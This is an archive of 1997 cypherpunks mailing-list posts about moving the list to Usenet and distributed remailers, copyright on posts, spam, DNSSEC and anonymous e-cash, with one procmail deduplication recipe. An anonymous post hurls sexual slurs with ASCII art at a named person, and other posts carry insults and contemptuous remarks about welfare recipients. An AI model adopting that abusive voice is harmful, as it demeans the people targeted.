> the same messages as the are re- cross- whatever-posted to lists,
> newsgroups and anything else handy.
> 
> Anyone have a procmail script that will show me just ONE copy of messages,
> even if the headers are not identical (e.g. one looped, another was
> forwarded, etc.)?
> 

# Remove duplicate messages
:0 Wh: .msgid.lock
| formail -D 8192 .msgid.cache


It detects duplicates by Message-Id.

-- 
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 20:56:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <3.0.32.19970212235229.005742d8@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Wed, 12 Feb 1997 14:22 EDT
>From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
>To: ravage@EINSTEIN.ssz.com
>Cc: cypherpunks@toad.com, list-managers@greatcircle.com
>Subject: Re: Cypherpunks Distributed Remailer
>Sender: owner-cypherpunks@toad.com
>
>From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 11:59:08.20
>
>>> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
>>> From: ichudov@algebra.com
>>> Subject: Re: Moderation experiment almost over; "put up or shut up"
>
>>> John Gilmore wrote:
>>> > A pentium is definitely up to this task.  I've been running it the
>>> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
>>> > general computing).  Give it a big /var/spool partition (mine is 60MB)
>>> > because every message will sit in the queue for days (*somebody* on
>>> > the list will have an unreachable name server or MX server until the
>>> > msg times out).  Give it lots of RAM and paging space, since each
>>> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
>>> > have dozens running at the same time.
>
>>My approach to this problem has been to use a 1G drive and mount the entire
>>file system on it. Swap and MS-Dos each get their own partitions. This
>>allows the use of the entire drive as a buffer. I am in the process of
>>adding another 1G in approx. two weeks with the intent of moving /home off
>>the main drive. This not only gives the system more space but the users as
>>well. I set swap to 4x main ram. I use Linux and have it as one giant
>>partition even though suggested is blocks of 16M, works for me (YMMV). Would
>>be minor to monitor df and alarm when it gets to 200M or something.
>
>>I must admit however that I am looking at a faster mbrd. and a bigger hard
>>drive in the immediate future to make up for the extra load I expect. Had
>>not really planned on the remailer project however...
>
>>> > You'll need a BIG mailbox for the bounce messages, and someone (or
>>> > some unwritten software) to scan it every day or two and delete the
>>> > lusers whose mailboxes are full or who dumped their account without
>>> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
>>> > email a day; more when the list is under attack.
>
>>How about dumping the bounces to /dev/null? I shure don't care if some
>>bozo's (other than mine that is) mailbox goes away.
>
>	Umm... because you'll eventually accumulate _lots_ of addresses
>that don't work, which will slow things down tremendously in sending
>mail out?
>
>>> > The real issue is how willing you are to put your own time into
>>> > dealing with problems.  Not only do things go wrong by themselves, but
>>> > there are malicious assholes in the world who will deliberately make
>>> > trouble for you just because they like to.  Spending a day or two
>>> > cleaning up the mess is just part of the job.  Check your level of
>>> > committment two or three times before taking on the task -- so you
>>> > won't end up getting disgusted after a month or two and putting the
>>> > list's existence into crisis again.  It's not a "set it up and forget
>>> > it" kind of operation.
>
>>I can verify this. If I was not already having to deal with these problem
>>as a current mailing list operator I certainly would not take on the
>>job. It is one of the reasons I STRONGLY suggest anyone serious about this
>>should use the resources to make money as well. Anyone capable of setting up
>>and operating such a remailer system is at least capable of basic skills.
>
>	Well, loki@cyberpass.net has made the offer to host the entire
>list... and Lance is certainly making money at it. While this would have
>some problems in comparison with the distributed list idea (namely more of
>a choke point), it would decidedly help.
>
>>> Another suggestion may be to set sendmail expire option to one day
>>> instead of five so that messages that cannot be delivered would bounce
>>> faster and not clog the queue.
>
>>I like this idea very much. Myself I would set it for like 4 hours or so and
>>if it couldn't be delivered then bye bye. Another motivation for selective
>>sites to operate as archives without themselves being remailers.
>
>>Another issue related to this is at what point to unsubscribe accounts. It
>>seems to me that if the address times out some number of times it should be
>>deleted.
>
>>Is anyone interested in acting as a mail-to-news gateway?
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 20:56:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: strange mails...
Message-ID: <3.0.32.19970212235253.00571750@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: harka@nycmetro.com
>Date: Wed, 12 Feb 1997 23:14:12 -0500 
>Subject: strange mails...
>To: markk@randomc.com
>
>Hi Mark,
>
>I had a message from you in my Inbox, in which you requested to take you
>off of any mailing list. Just for clarification: were you sending this
>message to _me_ as a private mail or were you sending it to a list?
>
>Thanks and Ciao
>
>Harka
>
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 20:57:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: your mail
Message-ID: <3.0.32.19970212235318.00571750@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain


>Subject: Re: your mail
>To: markk@randomc.com (Mark Krell)
>Date: Wed, 12 Feb 1997 20:59:32 -0600 (CST)
>Reply-To: ichudov@algebra.com (Igor Chudov)
>From: ichudov@algebra.com (Igor Chudov @ home)
>X-No-Archive: yes
>Organization: Bool Sheet Software
>
>I do not think that you are on one of my mailing list.
>
>If you think that you are, please send me one of the sample messages
>WITH FULL HEADERS that came to you frm my list.
>
>I am willing to help you.
>
>	- Igor.
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 20:57:08 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: New group
In-Reply-To: <855767149.525716.0@fatmans.demon.co.uk>
Message-ID: <0n0dvV200YUf04Xco0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

paul@fatmans.demon.co.uk writes:
<snip>
> > I pressed the URL alt.cypherpunks and my Netscape server said
> > "no such thing" or words to that effect.
> 
> The control message may take a few more hours to propogate, either 
> that or your newsadmin has rmgrouped it. The charter was clear and 
> concise and explained the issues so I don`t see why it should have 
> been rmgrouped. Can you mail me if it hasn`t been created by the time 
> you get this email and I`ll re-issue the cmsg. However, I`m sure it 
> was OK as Robert Hettinga (sp?) found it on his news server today...

Yet another "me too,"
alt.cypherpunks is alive (dunno about well, time shall tell) on my
news server.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwKe2Mkz/YzIV3P5AQGQYQMAkwiuqAV/PsdcCscHVbsT6rxoKMv63UQh
ebBIUh9QnXxVqjxcv3dvoanYGrP1Ldyvza9GXgLlTBIwtAuC+Od026mcV0NljUT/
9WSg3iaHdUBReHpXbTsOVF+a9lQp4fzP
=Hfgq
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:09:53 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: John Gilmore the fascist cocksucker
Message-ID: <855792532.1123357.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Why you are doing this, Paul?
> 
> 	- Igor.

It would appear that someone I gave my password to the other day (I 
recieve no sensitive mail through this account) so they could use it 
to test a machine has a rather infantile sense of humour and have 
taken my critical posts to the list to mean that I want to spam a 
mailing list with dreck like this.

I shall ensure the offending fool is castrated forthwith...

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:16:50 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Network of majordomos
Message-ID: <855792537.1123372.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> What was your chater?  Could you Cc a copy to the list?

I didn`t save it but it was something along the lines of this:

Charter:

alt.cypherpunks will serve as a discussion forum for the members of 
the cypherpunks community. The discussion group previously resided on 
a mailing list run at toad.com but due to a difference of opinion 
between the majority of active members of the list and the owner of 
toad.com, John Gilmore, the list must now relocate onto usenet as a 
temporary measure while further measures are put in place to 
re-establish a mailing list format. The group has approximately 1500 
members and has been active online for some 5 years.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 22:11:06 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: subscribe
In-Reply-To: <199702130556.AAA02010@www.video-collage.com>
Message-ID: <199702130606.AAA17590@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sean Roach wrote:
> ...
> Something to consider.  If anyone of the distributed remailers is removed
> from a ring, the messages that need to travel across that ring can no longer
> do that.  This makes the loop only as strong as its most at risk remailer.
> The star approach has already been seen in action, the trouble here is a
> single choke point.
> Full interconnectability is only feasible in a small net, but I would advise
> this at first.  Check for the x-loop to see if another one got it first.  If
> none, add one and send it on down the line.
> A disjointed mess, if the remailers are given first access to the list,
> could work quite well as long as that x-loop remained to point to who sent
> the message, and the x-loop contained an unalterable message number, and the
> remailers could eliminate duplications, probably based on message number.
> This should work as the net grows and would only be as weak as the strongest
> two connected remailers.
> Sounds like the internet.
> 

I'd suggest a simplier solution: to connect each server with a couple,
or maybe three, other servers. This scheme is rather robust, does not
consume too much CPU time and bandwidth, and is easy to implement.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 21:16:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re :Re?
Message-ID: <3.0.32.19970213000821.0057afe8@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Sender: camcc@smtp1.abraxis.com
>Date: Wed, 12 Feb 1997 22:36:16 -0500
>To: Mark Krell <markk@randomc.com>
>From: camcc@abraxis.com (Alec)
>Subject: Re :Re? 
>Cc: cypherpunks@toad.com
>
>At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of :
>:
>:Attachment Converted: "c:\remove1.txt"
>:
>How, do you imagine, did you get on this God-forsaken list? Anger abounds. 
>
>Is this Kismet that you are here now at this crucial moment of the list's
evolution?
>
>Perhaps you have something to offer of which you are not aware.
>
>Avail yourself of our hospitality as we implode. Flee not.
>
>There is meaning to this. So our savants have told us.
>
>Speak the words to Majordomo@toad.com in the message panel (no quotes):
>
>"unsubscribe cypherpunks"
>
>Speak only thus.
>
>Bother us no more at our moment of transfiguration.
>
>Hail and farewell, Bro.
>
>
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 16:09:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam posts from my acct.
Message-ID: <855792538.1123373.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Cpunks,


A number of spam mails (I counted about 100 in my incoming mail) were 
sent to the list from my account last night.

I do not take particular precautions with my password for this 
account as there is no sensitive mail sent through it, I recall in 
particular giving the password to someone to test out a machine 
recently and I believe they may be the culprit. 

Again, my appologies for the inconvenience and you have to admit that 
while his method may have been less than subtle his message was 
certainly something we can all relate to ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 12 Feb 1997 21:16:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property rights on cypherpunks (fwd)
In-Reply-To: <199702130430.WAA03048@einstein>
Message-ID: <Pine.GSO.3.95.970213000609.1043N-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


While I'm not entirely unsympathetic with the notion that "information
should be free," your statements below are rather incoherent.

For purposes of analysis, let's talk about a story I report and write
myself. Depending on the article and travel involved, I may have spent
hundreds of dollars working on it. I am unwilling to donate those efforts
to the "public domain" every time; I may later want to sell the article to
recoup my costs. Think property rights. (Of course, I admit the need for
broad fair use rights as well.) 

"De facto public domain" is an idea that deserves to die. Now.

-Declan



On Wed, 12 Feb 1997, Jim Choate wrote:

> 
> Forwarded message:
> 
> > Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST)
> > From: Declan McCullagh <declan@pathfinder.com>
> > Subject: Private property rights on cypherpunks
> 
> > I forward articles to cypherpunks that are copyrighted by my employers, or
> > magazines like Playboy and Wired for which I write freelance pieces. 
> > 
> > I like to think these articles have some value. I will not forward any of
> > them, nor would I be able to, if they magically became "public domain."
> > 
> > "De facto public domain" is an idea that deserves to die. Now.
> 
> Really? Do you have a priori permission from your publisher, who owns those
> stories, to distribute them elsewhere?
> 
> If not please explain why I or any other person should be a willing
> acomplice? You could also still post them anonymously. You could also
> simply include a 'fair use' proviso somewhere.
> 
> In such a case it would be in your publishers best interest to require a
> copyright notice. In that case there is no confusion about who owns those
> rights. Especialy when you consider the traffic is global which means your
> 'implied copyright' here don't mean squat there. I suspect just about
> every place that recognizes a copyright recognizes an explicit one.
> 
> Instead of "De facto public domain should die" how about,
> 
> "Implied a priori contracts should die now"
> 
> Lord a mighty, haven't you heard? Information wants to be free. Let the
> thing go. If you really think your words are something that will someday win
> a Nobel or make Mr. Bill look like a pauper note it explicitly. However,
> it would seem to me that implicit copyright works against the axiomatic
> crypto-icon.
> 
> 
>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Wed, 12 Feb 1997 23:26:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: X.500
Message-ID: <199702130726.AAA30748@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dinghy Villainous K>ocksucker< Of The Month's obsessive masturbation
has lead to advanced degree of blindness and hairy palms.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dinghy Villainous K>ocksucker< Of The Month
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 23:07:07 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <3302B2E9.20E3@gte.net>
Message-ID: <199702130629.AAA17824@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > > "Timothy C. May" <tcmay@got.net> writes:
> > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > > > >If the people decide for creation of a new USENET newsgroup,
> > > > >we need to think very hard about actually moving it to a different
> > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> 
> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> I would lean toward sci.crypt.cypherpunks myself.  Are there any
> implications in the use of that name as to restrictions, etc.?
> 

Not really. All you have to do is to go through a formal newsgroup
creation process, post a RFD, second RFD, a CFV, and supposedly 
impartial votetakers will record the votes. You must get > 100 votes
YES, and the number of YES votes should be more than twice (thrice?)
the number of NO votes.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 12 Feb 1997 21:26:21 -0800 (PST)
To: Lee Tien <tien@well.com>
Subject: Re: anonymity and e-cash
In-Reply-To: <199702122141.NAA05987@toad.com>
Message-ID: <Pine.SUN.3.95.970213002532.499B-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Lee Tien wrote:
> Is payee anonymity technically possible?  Under what conditions?
> 
Yes.

In addition to having "money changers" play an anonymizing role, one can
use an anonymous bank account.  Contrary to intuition, banks might be
willing to set these up with cryptographic safeguards.

See http://www.law.miami.edu/~froomkin/articles/oceanno.htm#ENDNOTE286

which describes otherwise unpublished work by Brands (by permission).

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 12 Feb 1997 21:33:58 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Procmail during the transition, anyone?
Message-ID: <Pine.SUN.3.95.970213003450.499D-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


At various stages in the transition, we will be getting multiple copies of
the same messages as the are re- cross- whatever-posted to lists,
newsgroups and anything else handy.

Anyone have a procmail script that will show me just ONE copy of messages,
even if the headers are not identical (e.g. one looped, another was
forwarded, etc.)?

I have yet to find a good guide to procmail coding. My file is long, and
inefficient, and a pain to maintain...and I'm too busy to learn it right.

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 00:54:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks-announce?  Do we need to recreate this?
Message-ID: <3.0.1.32.19970213005151.005d0108@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Now that cypherpunks is moving, to both a newsgroup and one or more 
mailing lists, there's still a need for cypherpunks-announce or 
something like it.  So far it's carried 1-2 announcements per month.

Should we create it as a mailing list, moderated or unmoderated,
or as a newsgroup?  (It's been a moderated mailing list, run by John and
Hugh.)
Perhaps the right implementation is a mail exploder going to
several moderators in parallel, any of whom can forward to the list,
just to cut down delays?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 01:21:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security (Re: Encryption for DNS registration)
Message-ID: <3.0.1.32.19970213005917.006610f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Donald Eastlake posted this on the IAHC-discuss list.  Cool stuff.

>Date: Wed, 12 Feb 1997 10:14:05 -0500 (EST)
>From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
>To: iahc-discuss@iahc.org
>Subject: Security (Re: Encryption for DNS registration)
>
>People may want to note that yesterday (Feb 11th) the IESG approved the DNS
>dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt
>and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards.  The base DNS
>security protocol was approved some time ago and is now out as RFC 2065.  TIS
>is working on a government funded implementation which will be in the public
>domain (http://www.tis.com/docs/research/network/dns.html).  Their current
>Beta implementation of the base DNS security has been approved for export.  I
>believe there is an independent implementation effort underway at Microsoft. 
>
>While this was primarily motived by wanting to be able to securely do dynamic
>updates of the DNS in connection with DHCP, it is a general facility and
>could be one element of securely implenmeting a shared TLD.  You would,
>however, still need a way of sending general authenticated messages.  PGP
>seems like an excellent candidate for this as it is the de-facto standard
>available world wide.
>
>Donald

	[ quotes from previous messages deleted -- Bill ]

>=====================================================================
>Donald E. Eastlake 3rd     +1 508-287-4877(tel)     dee@cybercash.com
>   318 Acton Street        +1 508-371-7148(fax)     dee@world.std.com
>Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
>http://www.cybercash.com           http://www.eff.org/blueribbon.html
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 02:08:16 -0800 (PST)
Subject: Private property & the cypherpunks list(s)
Message-ID: <3302E815.5E66@netbox.com>
MIME-Version: 1.0
Content-Type: text/plain


(Readers curious about Jim Choate's list ownership/acceptable use
policies might take a look at <http://www.ssz.com/ssz/conditions.html>.)

Jim Choate wrote:

> Please explain how making submissions de facto public domain censors
> anyone?

What the fuck is "de facto public domain"? It's public domain, or it's
not. 

Your scheme imposes a cost (loss of intellectual property rights)
against authors who would like to make themselves heard. It also
prevents a certain class of messages (those messages whose status is
"copyright claimed") from being distributed. Further, your suggestion
that posters be required to include a "fair use header" is compelled
speech.

That's three flavors of "censorship" right there. I thought that the new
list(s) were supposed to allow anyone to say anything they wanted. 

(Does "no fair use" count as a "fair use header"? It's not legally
enforceable, but it seems like the easiest way to specify "minimum fair
use required by law". If not, are you planning to moderate the list to
make sure that people use only approved fair use headers? Hmm.) 

Even if the "copyright abandonment by implication" trick works (and I
suspect it will not, given that an assignment or transfer of copyright
must be in writing, 17 USC 204; and abandonment is essentially an
assignment or transfer to the public domain), it will not apply to all
text sent to the list. A person cannot abandon or assign something they
do not have; so if someone sends a message to the list which contains
text whose copyright is held by a third party, that copyright will still
be valid. 

So what you've got is a list where you can't be sure that its contents
are public domain, and a draconian rule requiring authors to give up
their rights to what they've written.

Do you imagine that all of the many-majordomo servers will implement
your "public domain only" rule, or only yours? 

If the rule only applies to the ssz.com version, what's the point?

If the rule is intended to apply to all servers, and servers aren't
going to be allowed into the network without agreeing to implement it
locally, um, tell me again about that "free speech" thing? Aren't you
just taking advantage of your position as a person working on the
many-majordomos project to impose your ideas about intellectual property
on the rest of the list? Is such a strategy compatible with "free
speech"? 

Also, how could a rule like this possibly be compatible with a Usenet
gateway? There's no chance at all that you can expand a local rule on
your system to all of Usenet through a gateway. 

And Declan McCullagh wrote:

>I forward articles to cypherpunks that are copyrighted by my employers, or
>magazines like Playboy and Wired for which I write freelance pieces. 
>
>I like to think these articles have some value. I will not forward any of
>them, nor would I be able to, if they magically became "public domain."

Which are good points - also, don't forget that, from time to time,
people have even posted code to the cpunks list, and many software
authors like to retain copyright in their code so that they can insist
on things like noncommercial distribtion or credit where the code is
reused. If a work is truly "public domain", the author has no power to
insist on those things. 

This proposed rule seems to limit postings to those which are perceived
by their authors to be without commercial or reputational value. Is that
a good idea?

--
Greg Broiles                | US crypto export control policy
gbroiles@netbox.com         | in a nutshell:
http://www.io.com/~gbroiles | Export jobs, not crypto.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Wed, 12 Feb 1997 14:22:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: CAPI 2.0 beta!
Message-ID: <3302FF9D.5A0D@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,

anybody used the Microsoft CAPI 2.0?

anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Wed, 12 Feb 1997 20:02:35 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Network of majordomos (fwd)
In-Reply-To: <199702122313.PAA08357@toad.com>
Message-ID: <19970213040230.29730.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Wed, 12 Feb 1997 14:33:03 -0800
   From: Greg Broiles <gbroiles@netbox.com>

   Yes, I installed INN and ran a few hundred test messages through it last
   night. My machine will be on the net full-time Thursday or Friday. Will yours
   be ready then, too? 

We've got INN here. I created a cpunks.general group (as well as
alt.cypherpunks) on taz.nceye.net and made both world-accessible.  Our
feed hasn't got alt.cypherpunks yet; is someone who has got it willing
to feed it?  (also, is there a consensus on what group names to use:
new top-level hierarchy? cpunks or cypherpunks? or just the alt group,
with the usual propagation and spam problems?)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 12 Feb 1997 21:10:11 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: (2)Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <v03007805af2801044089@[207.167.93.63]>
Message-ID: <199702130508.WAA11432@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970212:1525 "Timothy C. May" <tcmay@got.net> said:

+At 6:21 PM +0000 2/12/97, Attila T. Hun wrote:
+>    maybe relief is in sight; can we spell excedrin?
+>
+>on or about 970211:1433 educom@elanor.oit.unc.edu said:
+>
+>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL
+>
+>+A U.S. district court in Ohio has granted CompuServe's request for a
+>+preliminary injunction barring Cyber Promotions Inc. from sending
+>+unsolicited e-mail to its subscribers while the commercial provider
+...

+Were I a customer of CompuServe, I'd ask on what basis CompuServe was
+intercepting e-mail to me. In fact, a CompuServe account holder has
+made just this point: "I'll decide what's junk mail and what's not."]]
+
    I could not agree more, in theory, except for the postage you 
    discuss below which permits spammers greed to exceed responsibility, 
    let alone the public interest.

    I am, of course, a theoretical anarchist; I believe I could put 
    aside greed (and have) to be sufficiently altruistic to make a 
    society of anarchists work (in a limited population model). 
    However:

        "Only two things are infinite, 
          the universe and human stupidity, 
          and I'm not sure about the former."
                --Albert Einstein

    as long as we have a >30% third and fourth generation welfare class 
    which the dogood liberal bleeders say we are obligated to sustain 
    their breeding; and another 30% which are functionally illiterate, 
    there is no hope for idealism.
 
    our "neighbors" have no idea how to spell anarchy, let alone 
    understand the price of freedom.

    just because I would cut off the permanent welfare class at the 
    knees, and disenfranchise the functionally illiterate if I had the 
    chance, does not make anarchy any more feasible; it's just a more 
    rigid police state for the havenots --again, something we do not 
    need.

    sorry to be a pragmatic pessimist, but it went down hill with the 
    16th amendment and the Federal Reserve Act to benefit the     
    Rockefellers, Vanderbilts, Rothschilds, Chases, etc. at our expense. 

+Having the court system involved in deciding what mail is valid and
+what is not valid is not my idea of a free society.
+
    again, you are correct except anarchy requires responsibility. free 
    agency has its requirements and this is why junk fax was banned.
    too many members of our society can not spell anarchy or 
    responsibility --their knowledge of vocabulary starts and ends with 
    greed.

+Having said this, the flaw remains that "junk mail" is "free" to the
+sender. This is a flaw in the ontology of e-mail, and needs to be
+fixed. Digital postage is one approach.

    probably cut down on our postings to cp as well!  32 cents to post?

+I'm not holding my breath, but I sure don't want a "District Court"
+deciding.

    I don't like the regulatory agencies either, but at least they are 
    not Judge Roy Bean, Law West of the Pecos.

    unfortunately, until the irresponsible tone down their greed, we 
    need the regulation to protect ourselves from the predators.

    in other words, I agree with you in my heart, but our society 
    refuses to cooperate.  

 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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O2taYhGGY2oiuw5U2r3Y4Qv2P/8CsCtZ/eSrBlmvMTOrYEi2Le0fjiefAFKte2g4
FSJ67ttFC3gSQyj75r99TJ+roYnJzGgec9X5f/kOr3Z0m3Da6u+m/l7siNmDOPae
RDWsxwmjcyM=
=huRr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Feb 1997 06:32:25 -0800 (PST)
To: tcmay@got.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702122142.NAA06036@toad.com>
Message-ID: <o7D32D23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


(My apologies to all the peole I like whose e-mail I haven't answered yet)

ichudov@algebra.com writes:

> Dr.Dimitri Vulis KOTM wrote:
> > "Timothy C. May" <tcmay@got.net> writes:
> > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
